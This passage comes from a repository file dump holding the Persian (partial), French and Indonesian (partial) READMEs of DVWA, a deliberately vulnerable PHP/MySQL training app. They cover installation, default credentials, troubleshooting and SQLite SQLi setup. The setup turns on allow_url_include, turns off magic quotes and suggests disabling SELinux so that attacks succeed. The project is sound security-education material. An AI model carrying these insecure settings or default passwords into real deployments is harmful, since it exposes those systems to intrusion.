عامل\n- ۵ خط آخر از گزارش خطای وب سرور بلافاصله پس از وقوع هر خطایی که گزارش می‌دهید\n- اگر مشکل از احراز هویت پایگاه داده است، مراحل بالا را طی کنید و از هر مرحله اسکرین شات بگیرید. این مراحل را به همراه اسکرین شاتی از بخشی از فایل پیکربندی که نام کاربری و رمز عبور پایگاه داده را نشان می‌دهد، ارسال کنید.\n- شرح کاملی از مشکل، آنچه انتظار دارید اتفاق بیفتد و آنچه برای رفع آن تلاش کرده‌اید. عبارت «ورود به سیستم خراب است» برای درک مشکل شما و کمک به رفع آن برای ما کافی نیست.\n\n- - -\n\n## آموزش\n\nمن سعی می‌کنم چند ویدیوی آموزشی تهیه کنم که برخی از آسیب‌پذیری‌ها را بررسی کرده و نحوه شناسایی و سپس بهره‌برداری از آنها را نشان دهد. در اینجا ویدیوهایی که تاکنون ساخته‌ام را مشاهده می‌کنید:\n\n[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss)\n\n---\n\n##  تزریق SQL در SQLite3\n\n_پشتیبانی از این موضوع بسیار محدود است. قبل از ثبت خطا باید اطمینان داشته‌باشید برای کارکردن بر روی اشکالزدایی آمادگی کافی را داشته باشید. از مطرح‌کردن \"فلان چیز کار نمی‌کند\"  بپرهیزید_\n\nبه طور پیش‌فرض SQLi و Blind SQLi بر روی سرور ماریا‌دی‌بی یا مای‌اسکیوال استفاده شده در سایت انجام می‌شوند. اما این امکان وجود دارد که تست SQLi را بجای آن بر روی یک SQLite3‌ انجام دهید.\n\nدر اینجا چگونگی راه‌اندازی و کارکردن SQLite3 با PHP‌ توضیح داده نمی‌شود، اما چیز ساده‌ای در حد نصب `php-sqlite3` و اطمینان از فعال بودن آن را یادآوری می‌کنیم.\n\nبرای تغییر، کافیست فایل کانفیگ را ویرایش کنید و خطوط زیر را تغییر داده یا اضافه کنید:\n  \n\n```php\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nبه طور پیش‌فرض از فایل `database/sqli.db` استفاده می‌شود. اگر به طور اتفاقی به این فایل آسب زدید، آن را از مبدا `database/sqli.db.dist` بازنویسی کنید\n\nباقی مسائل همانند مای‌اس‌کیو‌ال است با این تفاوت که از SQLite3 بجای آن استفاده کرده‌ایم.  \n\n- - -\n\n👨‍💻 مشارکت‌کنندگان\n-----\n\nاز تمام مشارکت‌هایتان و به‌روزرسانی این پروژه متشکرم. :heart:\n\n  اگر ایده‌ای، نوعی بهبود یا صرفاً تمایل به همکاری دارید، از مشارکت و حضور در پروژه استقبال می‌شود، لطفاً PR خود را ارسال کنید.\n\n<p align=\"center\">\n    <a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n      <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n    </a>\n</p>\n\n- - -\n\n## گزارش آسیب‌پذیری‌ها\n\nساده بگم، این کارو نکنید!\n\nسالی یک بار، کسی گزارشی برای آسیب‌پذیری‌ای که در برنامه پیدا کرده است، ارسال می‌کند، برخی از آنها به خوبی نوشته شده‌اند، گاهی اوقات بهتر از آنچه در گزارش‌های تست نفوذ پولی دیده‌ام، برخی فقط می‌گویند «هدرها را گم کرده‌اید، به من پول بدهید».\n\nدر سال ۲۰۲۳، این موضوع به سطح کاملاً جدیدی ارتقا یافت، زمانی که کسی تصمیم گرفت برای یکی از آسیب‌پذیری‌ها درخواست CVE کند، [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848) به او داده شد. کلی سر و صدا به پا شد و وقت زیادی برای اصلاح این موضوع تلف شد.\n\nاین برنامه آسیب‌پذیری‌هایی دارد، و این عمدی است. اکثر آنها به خوبی مستند شده‌اند و شما به عنوان درس روی آنها کار می‌کنید، بقیه موارد \"پنهان\" هستند، مواردی که باید خودتان آنها را پیدا کنید. اگر واقعاً می‌خواهید مهارت‌های خود را در یافتن موارد اضافی پنهان نشان دهید، یک پست وبلاگ بنویسید یا یک ویدیو بسازید زیرا احتمالاً افرادی هستند که علاقه‌مند به یادگیری در مورد آنها و نحوه یافتن آنها توسط شما هستند. اگر لینک را برای ما ارسال کنید، حتی ممکن است آن را در منابع قرار دهیم.\n\n## پیوندها\n\nصفحهٔ اصلی پروژه: <https://github.com/digininja/DVWA>\n\n*تهیه‌شده توسط تیم DVWA*"
  },
  {
    "path": "README.fr.md",
    "content": "# Translation / Traduction\n\nPhilibert Gentil：@[Philibert-Gentil](https://github.com/Philibert-Gentil)\nVous pouvez me contacter en cas d'erreur de traduction / d'interprétation.\n\n- - -\n\n# DAMN VULNERABLE WEB APPLICATION / BORDEL D'APPLICATION WEB VULNÉRABLE\n\nBordel d'application web vulnérable (BAWV, traduit DVWA) est une application web PHP/MySQL vulnérable. Son but principal est d'être une aide pour les experts en sécurité pour tester leurs compétences et outils dans un environnement légal, aider les développeurs web à mieux comprendre la sécurisation des applications web et d'aider les élèves et professeurs à apprendre la sécurité des applications web dans un environnement d'études.\n\nL'objectif de BAWV est **d'expérimenter les vulnérabilités web les plus communes**, avec **différents niveaux de difficulté**, avec une interface intuitive.\nNotez qu'il existe des **vulnérabilités documentées ou non** avec ce programme. C'est intentionnel. Vous êtes encourragés à essayer et découvrir autant de failles que possible.\n- - -\n\n## ATTENTION !\n\nBordel D'application web vulnérable est vachement vulnérable ! **Ne la publiez pas sur le dossier html public de votre hébergeur ni aucun serveur visible sur internet**, ou ils seront compromis. Il est recommendé d'utiliser une machine virtuelle (comme [VirtualBox](https://www.virtualbox.org/) ou [VMware](https://www.vmware.com/)), réglé sur le mode réseau NAT. Dans une machine invitée, vous pouvez télécharger et installer [XAMPP](https://www.apachefriends.org/) pour le serveur web et la base de données.\n\n### Non-responsabilité\n\nNous ne sommes pas responsables de la manière dont vous utilisez BAWV. Nous avons clairement défini les objectifs de l'application et elle ne dois pas être utilisée de manière malveillante. Nous vous avons averti et avons pris les mesures nécessaires pour informer les utilisateurs de BAWV à propos de son installation sur un serveur. Si votre serveur est compromis à cause d'une installation de BAWV, il n'en découle pas de notre responsabilité, mais de celle de la/les personne(s) qui l'a/ont téléchargé ou installé, envoyé.\n- - -\n\n## License\n\nCe fichier fait parie du bordel d'application web vulnérable (BAWV)\n\nBordel d'application web vulnérable (BAWV) est un logiciel libre: vous pouvez le re-distribuer et/ou le modifier en respectant les termes de la licence publique générale GNU (GNU General Public License) tel que publié par\nLa fondation des logiciels libres (the Free Software Foundation),\nsoit la troisième version de la licence, soit une version ultérieure.\n\nBordel d'application web vulnérable (BAWV) est distribué dans l'espoir qu'il vous sera utile,\nmais SANS GARANTIE; sans même la garantie implicite de qualité professionnelle ou particulière.\nVoyez la license publique générale GNU pour plus de détails.\n\nVous devriez avoir reçu une copie de la license publique générale GNU\nen même temps que le bordel d'application web vulnérable (BAVW). Sinon, consultez <https://www.gnu.org/licenses/>.\n- - -\n\n## Internationalisation\n\nCe fichier est disponibles dans diverses langues ci-dessous :\n- Chinois: [简体中文](README.zh.md)\n- Turque: [Türkçe](README.tr.md)\n- Anglais: [English](README.md)\n\nSi vous souhaitez contribuer à la traduction, faite une demande d'extraction (pull request, PR). Par contre, ça ne doit pas être juste du Google Trad, ou ce sera rejeté.\n\n- - -\n\n## Téléchargement\n\nMême s'il y a diverses versions de BAVW, la seule version soutenue via cette source du dépôt GitHub est celle-ci. Vous pouvez la cloner depuis le dépôt suivant :\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nOu [télécharger le fichier zippé](https://github.com/digininja/DVWA/archive/master.zip).\n- - -\n\n## Installation\n\n**Soyez sûrs que le fichier config/config.inc.php existe. Avoir le fichier config.inc.php.dist ne suffira pas, vous devrez le modifier par rapport à votre environnement et le renommer config.inc.php. [Windows cachera peut-être l'extension](https://lecrabeinfo.net/afficher-extensions-noms-de-fichiers-dans-windows.html)**\n\n## Vidéos d'installation\n- (en anglais) [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- (En anglais) [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) \\[12:39 minutes\\]\n\n### Win + XAMPP\n\nLa solution la plus facile pour installer BAVW est de télécharger et d'installer [XAMPP](https://www.apachefriends.org/) si vous n'avez pas déjà de serveur web.\n\nXAMPP est une distribution apache pour Linux, Solaris, Windows et MacOS très facile d'installation. Le paquet inclut le serveur web apache, MySQL, PHP, Perl, un serveur FTP et phpMyAdmin.\n\nXAMPP peut être téléchargé depuis :\n<https://www.apachefriends.org/>\n\nDézippez simplement dvwa.zip, placez le fichier décompressé dans votre fichier HTML public, puis allez avec votre navigateur sur `http://localhost/dvwa/setup.php`\n\n### Paquets Linux\n\nSi vous utilisez une distribution basée sur Debian (Debian, ubuntu, kali, parrot, Rapberry pi OS etc), vous devez installer les paquets suivants _(ou leurs équivalents)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php\n- php-mysql\n- php-gd\n- php-mbstring\n\nLa commande suivante vous permet de les installer.\n\n`apt install apache2 mariadb-server php php-mysqli php-gd php-mbstring libapache2-mod-php`\n\nNote: php-mbstring permet de gérer les caractères européens, arabes, caligraphiques et caetera, notamment la table de caractères UTF-8. Ne pas la télécharger pourrait entrainez des problèmes d'affichage si vous n'avez pas un langage germanique comme l'anglais ou l'allemand.\n\nLe site fonctionnera avec MySQL à la place de MariaDB mais nous recommendons fortement MariaDB car cela fonctionne directement, contrairement à MySQL que vous devrez modifier.\n\n### Paramétrage de la base de données\n\nPour créer une base de données (BDD), cliquez simplement sur le bouton `Setup DVWA` (configurer BAWV) dans le menu principal puis cliquez sur le bouton `Create / Reset Database` (créez / réinitialisez la BDD). Cela créera / réinitialisera la BDD pour vous avec des données dedans.\n\nSi vous rencontrez une erreur en essayant de créer la BDD, soyez sûrs que les identifiants de la BDD soient corrects dans `./config/config.inc.php`. *Elles diffèrent de config.inc.php.dist, qui est un fichier bateau*.\n\nLes variables sont définies comme ceci par défaut:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1'; //l'IP du serveur\n$_DVWA[ 'db_port'] = '3306'; //Le port pour accéder à la BDD\n$_DVWA[ 'db_user' ] = 'dvwa'; //L'utilisateur de la BDD\n$_DVWA[ 'db_password' ] = 'p@ssw0rd'; //Le mdp\n$_DVWA[ 'db_database' ] = 'dvwa'; //Le nom de la BDD\n```\n\nPS: si vous utilisez MariaDB plutôt que MySQL (MariaDB est là par défaut sur Kali), vous ne pouvez utilisez la BDD en tant que root, vous devez créer un nouvel utilisateur. Pour faire cela, connectez vous à la BDD en tant que super-administrateur (root) dans un terminal et tapez les commandes suivantes:\n\n```mysql\nmysql> create database dvwa; //On crée la BDD\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd'; //On crée l'utilisateur\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;//On lui donne toute les permissions dans la BDD dvwa\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;//On actualise les privilèges (en gros)\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Autres configurations\n\nEn fonction de votre système d'exploitaiton (SE), tout comme la version de PHP, vous devrez peut-être modifier la configuration initiale. La localisation des fichiers sera éventuellement différente, selon votre machine.\n\n**Permissions du fichier**\n\n* `./hackable/uploads/` - Doit être disponible en écriture par le serveur web (des fichiers y seront uploadés).\n* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - Doit être disponible en écriture par le serveur web (si vous voulez utiliser les PHPIDS).\n\n**Configuration PHP**\n\n* `allow_url_include = on` - Autorise l'utilisation du gestionnaire des URL par certaines fonctions (RFI)   [[allow_url_include](https://secure.php.net/manual/fr/filesystem.configuration.php#ini.allow-url-include)]\n* `allow_url_fopen = on` -  Autorisation pour l'accès au fichiers (RFI)    [[allow_url_fopen](https://secure.php.net/manual/fr/filesystem.configuration.php#ini.allow-url-fopen)]\n* `safe_mode = off` - (Si PHP <= v5.4) Autorise l'injection SQL (SQLi) [[safe_mode](https://secure.php.net/manual/fr/features.safe-mode.php)]\n* `magic_quotes_gpc = off` - (Si PHP <= v5.4) Autorise l'injection SQL (SQLi) [[magic_quotes_gpc](https://secure.php.net/manual/fr/security.magicquotes.php)]\n* `display_errors = off` - (Optional) Cache les messages d'avertissement PHP [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n**Fichier: `config/config.inc.php`**:\n\n* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Ces valeurs doivent être générées depuis: https://www.google.com/recaptcha/admin/create\n\n### Identifiants par défaut\n\n**Identifiant par défaut = `admin`**\n\n**Clef par défaut = `password`**\n\n_... peut être facilement craqué ;)_\nURL de connection: http://127.0.0.1/login.php\n_PS: Ce sera différent si vous installez BAWV dans un autre fichier._\n- - -\n\n## Container Docker\n_Cette section du fichier à été ajouté par @thegrims, pour de l'aide à propos d'erreurs docker, veuillez le contacter ou contactez @opsxcq, qui est le maître du dépôt et de l'image docker. Un signalement d'erreur lui sera sûrement adressé et celle-ci sera collematée_\n\n- [page dockerhub](https://hub.docker.com/r/vulnerables/web-dvwa/)\n`docker run --rm -it -p 80:80 vulnerables/web-dvwa`\n\nSoyez sûrs d'utiliser AUFS à cause d'erreurs antérieurs de MySQL. Lancez `docker info` pour vérifier le stockage de votre lecteur. Si il n'est pas en AUFS, veuillez le changer. Il y a un manuel pour chaque SE (OS), mais il sont tellement différents que nous n'aborderons pas ce sujet.\n\n### Construction locale\n\nSi vous avez fais des changements et voulez construire le projet à partir de votre version locale, editez le fichier `compose.yml` et changez `pull_policy: always` par `pull_policy: build`.\n\nExécuter la commande `docker compose up -d` va déclancher Docker à construire une image à partir de votre version locale, sans regard sur ce qui est disponible dans le registre.\n\nPour plus d'informations (En anglais): [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n### Servir les fichiers locaux\n\nSi vous faites des changements et ne voulez pas avoir à reconstruire l'image après chaque changement :\n\n1. Éditer le fichier `compose.yml` et décommenter :\n    ```\n        # volumes:\n        #   - ./:/var/www/html\n    ```\n2. Exécuter `cp config/config.inc.php.dist config/config.inc.php` pour copier le fichier de configuration par défaut.\n3. Exécuter `docker compose up -d` et les changements au fichiers locaux seront réfléchies sur le conteneur.\n\n- - -\n\n## Dépannage\n\nNous considérons que vous êtes sur une distribution basée sur Debian, comme Debian, Ubuntu, Kali ou Raspberry pi OS. Pour les autres distributions, suivez les instructions en adaptant les commandes à votre distribution.\n\n### Le site me donne une erreur 404\n\nSi vous avez ce problème, vous devez comprendre la localistaion des fichiers. Par défaut, le fichier racine apache (l'endroit où il cherche le contenu du site) est `/var/www/html`. Si vous mettez un fichier nommé `salut.txt` dans ce dossier, vous devrez, pour y accéder, noter `http://localhost/salut.txt`.\n\nSi vous créer un dossier et que vous y mettez un fichier - `/var/www/html/mondossier/salut.txt` - vous devrez écrire `http://localhost/mondossier/salut.txt`.\n\nLinux est sensible à la casse (par exemps, \"é\" n'est pas la même lettre que \"e\"; et \"E\" n'est pas lettre que \"e\"), donc vous pourriez tomber sur un 404 si vous n'y prenez pas garde.\nLes URL suivantes vous donneront une erreur 404 :\n- `http://localhost/MonDossier/salut.txt`\n- `http://localhost/mondossier/Salut.txt`\n- `http://localhost/MONDOSSIER/salut.txt`\n\nPourquoi cela affecte BAWV ? La plupart des gens utilisent Git intégrer BAWV dans leur répertoire `/var/www/html`, cela leur donne donc le chemin `/var/www/html/DVWA` avec tous les fichiers de BAWV dedans. Du coup si vous cherchez `http://localhost/` ça vous retourne une erreur 404, ou la page par défaut d'apache. Comme les fichiers sont dans le dossier DVWA, ous devez rechercher `http://localhost/DVWA/`.\n\nL'autre erreur commune est de rechercher `http://localhost/dvwa` ce qui retourne une erreur 404 parce que `dvwa` n'est pas pareil que `DVWA`, à cause de la casse.\n\nAprès la configuration, si vous obtenez une erreur 404, pensez à là où vous avez enregistré vos fichiers, qui est accessible par un chemin relatif, et quelle est l'orthographe des dossiers dans lesquels il se situe.\n\n### \"Accès refusé\" pendant la configuration\n\nSi vous avez l'erreur suivante en exécutant le programme de configuration, cela veut dire que l'ID et la clef que vous avez défini ne correspond pas à celle de la BDD.\n\n```\nDatabase Error #1045: Access denied for user 'nimporte'@'localhost' (using password: YES).\n//signifie: \"Erreur de la BDD #1045: accès refusé pour l'utilisateur 'nimporte'@'localhost' (utilise un mdp: OUI)\"\n```\n\nCette erreur signifie que vous utilisez le nom d'utilisateur `nimporte`.\n\nL'erreur suivante dit que vous demandez une mauvaise base de donnée.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n//signifie : \"SQL: Accès refusé pour l'utilisateur 'dvwa'@'localhost' à la BDD `nimporte`.\"\n```\n\nÇa dit que vous vous connectez en tant que `dvwa` et que vous essayez de vous connecter à la BDD `nimporte`.\n\nLa première chose à faire est de revérifier ce que vous avez renseigné dans le fichier de configuration.\n\nSi les informations semblent être correctes, la chose à revérifier est de regarder les journaux systèmes à propos de l'utilisateur en ligne de commande. Considérons que vous avez une BDD dénominée `dvwa` et un mot de passe `p@ssw0rd`, lancez la commande suivante.\n\n```\nmysql -u dvwa -p -D dvwa\n//puis tapez votre mot de passe dans le champ qui apparaît\n```\n\nSi le texte suivant apparaît (peut varier), les identifiants sont corrects:\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\nPuisque vous pouvez vous connecter en ligne de commande, il y a quelque chose qui cloche dans le fichier de configuration, re-vérifiez-le et signaler nus une erreur si vous n'arrivez pas à la trouver (sur github).\n\nSi le texte qui est apparu est le suivant, les identifiants sont incorrects. Répétez la [configuration de la base de données](#Paramétrage de la base de données) et soyez sûrs d'utiliser toujours les même identifiants durant la procédure.\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n//signifie: \"Erreur 1045 (28000): Accès refusé pour l'utilisateur 'dvwa'@'localhost' (clé renseignée: OUI)\"\n```\n\nSi vous obtenez l'erreur suivante, les identifiants sont corrects mais l'utilisateur n'a pas accès à la database.\nRéitérez aussi le paramétrage de la base de données et vérifiez le nom de la base de données.\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n//signifie: \"Erreur 1044 (42000): Accès refusé pour l'utilisateur 'dvwa'@'localhost' à la BDD 'dvwa'.\"\n```\n\nLa dèrnière erreur peut être celle-ci:\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\nÇa n'est pas une erreur d'authentification, c'est juste que le système de gestion de la BDD n'est pas activée. Démarrez-le en tapant :\n```sh\nsudo service mysql start\n```\n\n### Méthode d'identification inconnue\n\nAvec les versions les plus récentes de MySQL, PHP ne peut plus échanger avec la BDD dans sa configuration initiale. Si vous obtenez cette erreur, c'est que vous possédez cette configuration :(.\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n//Signification: \"Erreur de BDD  #2045: la méthode authentification utilisée est inconnue.\"\n```\n\nVous avez deux options, la première étant de désinstaller MySQL et d'installez MariaDB. Ce lien vous envoie vers le manuel officiel de MariaDB.\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/> (en anglais)\n\nSinon, suivez ces étapes:\n\n1. En tant que root, éditez le fichier `/etc/mysql/mysql.conf.d/mysqld.cnf`\n1. sous la ligne `[mysqld]`, ajoutez\n   `default-authentication-plugin=mysql_native_password`\n1. redémarrez MySQL: `sudo service mysql restart`\n1. Vérifiez le méthode de connexion pour votre utilisateur:\n   ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n1. Vous verrez probablement `caching_sha2_password`. Si c'est le cas, tapez:\n   ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n1. Relancez la vérification, vous devriez voir `mysql_native_password`.\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\nAprès tout ça, le processus de configuration devrait fonctionner.\nPour plus d'infos, voyez: <https://www.php.net/manual/fr/mysqli.requirements.php>.\n\n### Database Error #2002: No such file or directory.\n\nLe serveur de BDD est inactif. Sur une distro basée Debian, tapez:\n```sh\nsudo service mysql start\n```\n### Erreurs \"MySQL server has gone away\" et \"Packets out of order\"\n\nVous pourriez rencontrer cette erreur pour maintes raisons, mais la plus plausible est que la version de votre SGBDD est incompatible avec PHP.\nCela ce produit généralement quand vous utilisez la dernière version de MySQL, mais pas de PHP et que ça ne foncitonne pas oufement bien. Notre meilleur conseil est de désinstaller MySQL et d'installer MariaDB, sinon nous ne pouvons pas vous aider.\n\n### L'injection de commande ne fonctionne pas\n\nApache n'a peut être pas assez de privilèges sur le serveur web. Si vous utilisez BAWV sur linux, veillez à être connecté en tant que root et sous windows, en tant qu'administrateur.\n\n### Pourquoi ne puis-je pas me connecter à ma BDD sous CentOS\n\nVous avez sûrement des prolèmes avec SELinux. Désinstaller SELinux ou lancez cette commande pour autoriser le serveur web à discutter avec la base de donnée:\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Autre chose\n\nSi vous avez besoin d'aide, lisez les rapports d'erreurs ouvert et/ou fermés dans le dépôt git:\n<https://github.com/digininja/DVWA/issues>\n\nAvant d'envoyer un rapport, soyez-sûr que vous utilisez la dernière version du code du dépôt. Pas que la dernière version, mais aussi les derniers codes de la branche maîtresse (master).\n\nSi vous envoyez un rapport, renseignez ces informations:\n- Système d'exploitation\n- Les cinq dernières lignes du journal (log) du serveur web juste après la déclaration de votre erreur\n- Si c'est un problème de connection à la base de données, effectuées les étapes renseignées au dessus et faites une capture d'écran de chacune d'entre elles, et du fichier de configuration contenant vos identifiants.\n- une description détaillée de ce qui ne va pas, ce que vous éspèreriez qu'il arrive, et comment vous avez essayé de résoudre le problème. \"problème de connection\" n'est pas assez détaillé pour nous aidez à résoudre votre problème.\n- - -\n\n## Injection SQL SQLite3\n\n_Le support pour cette section est limitée, avant d'envoyer un rapport d'erreur, soyez préparé à faire un déboguage, ne déclarez pas juste \"ça marche pas !\"._\n\nPar défaut, SQLi et Blind SQLi sont exécutés sur les serveurs MariaDB/MySQL utilisés par le site mais il est possible de basculer vers des tests SQLi sur SQLite3 à la place.\n\nJe ne vais pas vous montrer comment fonctionne SQLite3 avec PHP, mais juste un exemple d'installation de `php-sqlite3` et d'être sûr qu'il soit actif.\nPour faire ce changement éditez le fichier de configuration et éditez ces lignes:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\nPar défaut, ça utilise le fichier `database/sqli.db`, si vous vous gourrez, copiez `database/sqli.db.dist` par dessus.\n\nLe challenge est le même pour MySQL, il sont juste antagoniste à SQLite3.\n- - -\n\n## Liens\n\nDépôt GitHub: <https://github.com/digininja/DVWA>\n\nCréé par l'équipe BAWV.\n"
  },
  {
    "path": "README.id.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION / APLIKASI WEB YANG RENTAN TERHADAP ANCAMAN\n\nDamn Vulnerable Web Application (DVWA) atau yang dapat diartikan sebagai Aplikasi Web Yang Rentan Terhadap Ancaman merupakan aplikasi web berbasis PHP/MySQL yang sangat rentan. \nTujuan utamanya adalah menjadi alat bantu bagi para profesional keamanan untuk menguji keterampilan dan alat mereka dalam lingkungan hukum. \nDVWA juga bertujuan membantu pengembang web memahami proses pengamanan aplikasi web serta memberikan dukungan bagi siswa dan guru untuk mempelajari keamanan aplikasi web dalam lingkungan kelas yang terkendali.\n\nTujuan dari DVWA adalah **melatih pengguna dalam menghadapi beberapa kerentanan web paling umum** dengan **berbagai tingkat kesulitan**, yang disajikan melalui antarmuka yang sederhana dan langsung. Harap dicatat bahwa **ada kerentanan yang didokumentasikan dan tidak didokumentasikan** dalam perangkat lunak ini. Hal ini sengaja dilakukan untuk mendorong pengguna mencoba dan menemukan sebanyak mungkin masalah.\n\n## PERINGATAN\n\nDamn Vulnerable Web Application sangat rentan! **Jangan mengunggahnya ke folder html publik penyedia hosting Anda atau server yang terhubung langsung ke internet** karena dapat mengakibatkan kompromi keamanan. \nDisarankan untuk menggunakan mesin virtual (seperti [VirtualBox](https://www.virtualbox.org/) atau [VMware](https://www.vmware.com/)), yang diatur dalam mode jaringan NAT. \nDi dalam mesin virtual, Anda dapat mengunduh dan menginstal [XAMPP](https://www.apachefriends.org/) untuk web server dan database.\n\n### Penyangkalan\n\nKami tidak bertanggung jawab atas cara penggunaan aplikasi ini (DVWA) oleh siapa pun. \nTujuan dari aplikasi ini telah kami jelaskan dan seharusnya tidak digunakan dengan niat jahat. \nKami telah memberikan peringatan dan mengambil langkah-langkah untuk mencegah pengguna menginstal DVWA di server web aktif secara langsung. \nJika server web Anda terpengaruh melalui instalasi DVWA, itu bukan tanggung jawab kami melainkan tanggung jawab orang/orang yang mengunggah dan menginstalnya.\n\n- - -\n\n## Lisensi\n\nBerkas ini merupakan bagian dari Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) adalah perangkat lunak bebas: Anda dapat mendistribusikannya dan/atau mengubahnya\nsesuai dengan ketentuan Lisensi Umum GNU yang diterbitkan oleh\nFree Software Foundation, versi 3 Lisensi, atau\n(pilihan Anda) versi selanjutnya.\n\nDamn Vulnerable Web Application (DVWA) didistribusikan dengan harapan akan bermanfaat,\ntetapi TANPA GARANSI APA PUN; tanpa garansi tersirat pun\nDAGANG atau SESUAI UNTUK TUJUAN TERTENTU. Lihat\nLisensi Umum GNU untuk lebih banyak detail.\n\nAnda seharusnya telah menerima salinan Lisensi Umum GNU bersama dengan Damn Vulnerable Web Application (DVWA). Jika tidak, lihat <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Internasionalisasi\n\nBerkas ini tersedia dalam beberapa bahasa:\n- Arab: [العربية](README.ar.md)\n- Tiongkok: [简体中文](README.zh.md)\n- Perancis: [Français](README.fr.md)\n- Persia: [فارسی](README.fa.md)\n- Portugis: [Português](README.pt.md)\n- Spanyol: [Español](README.es.md)\n- Turki: [Türkçe](README.tr.md)\n- Indonesia: [id](README.id.md)\n\nJika Anda ingin berkontribusi dengan terjemahan, silakan kirimkan PR (Permintaan Tarik). \nNamun perlu diperhatikan, ini bukan berarti hanya menjalankannya melalui Google Translate dan mengirimkannya, karena itu akan ditolak. \nKirimkan versi terjemahan Anda dengan menambahkan file baru 'README.xx.md' di mana xx adalah kode dua huruf dari bahasa yang Anda inginkan (berdasarkan [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Unduh\n\nMeskipun terdapat berbagai versi DVWA, satu-satunya versi yang didukung adalah sumber terbaru dari repositori resmi GitHub. \nAnda dapat mengklonnya dari repositori: \n`git clone https://github.com/digininja/DVWA.git`\n\nAtau [unduh arsip ZIP dari file-file](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Instalasi\n\n### Video Instalasi\n\n- [Instalasi DVWA di Kali yang berjalan di VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Instalasi DVWA di Windows menggunakan XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Instalasi Damn Vulnerable Web Application (DVWA) di Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nCara paling mudah untuk menginstal DVWA adalah dengan mengunduh dan menginstal [XAMPP](https://www.apachefriends.org/) jika Anda belum memiliki pengaturan server web.\nXAMPP adalah Distribusi Apache yang sangat mudah diinstal untuk Linux, Solaris, Windows, dan Mac OS X. Paket ini mencakup server web Apache, MySQL, PHP, Perl, server FTP, dan phpMyAdmin.\n[Video ini](https://youtu.be/Yzksa_WjnY0) memandu Anda melalui proses instalasi untuk Windows, tetapi seharusnya serupa untuk OS lainnya.\n\n### Docker\n\nTerima kasih kepada [hoang-himself](https://github.com/hoang-himself) dan [JGillam](https://github.com/JGillam), setiap commit ke cabang `master` menyebabkan pembangunan Docker image dan siap untuk diunduh dari GitHub Container Registry.\n\nUntuk informasi lebih lanjut tentang apa yang Anda dapatkan, Anda dapat menjelajahi [Docker images yang sudah dibangun sebelumnya](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Memulai\n\nPrasyarat: Docker dan Docker Compose.\n\n- Jika Anda menggunakan Docker Desktop, keduanya seharusnya sudah terinstal.\n- Jika Anda lebih memilih Docker Engine di Linux, pastikan untuk mengikuti [panduan instalasi mereka](https://docs.docker.com/engine/install/#server).\n\n**Kami memberikan dukungan untuk rilis Docker terbaru seperti yang ditunjukkan di atas.**\nJika Anda menggunakan Linux dan paket Docker yang disertakan dengan pengelola paket Anda, kemungkinan besar juga akan berfungsi, tetapi dukungan akan berusaha sebaik mungkin.\n\nMemperbarui Docker dari versi paket manajer ke 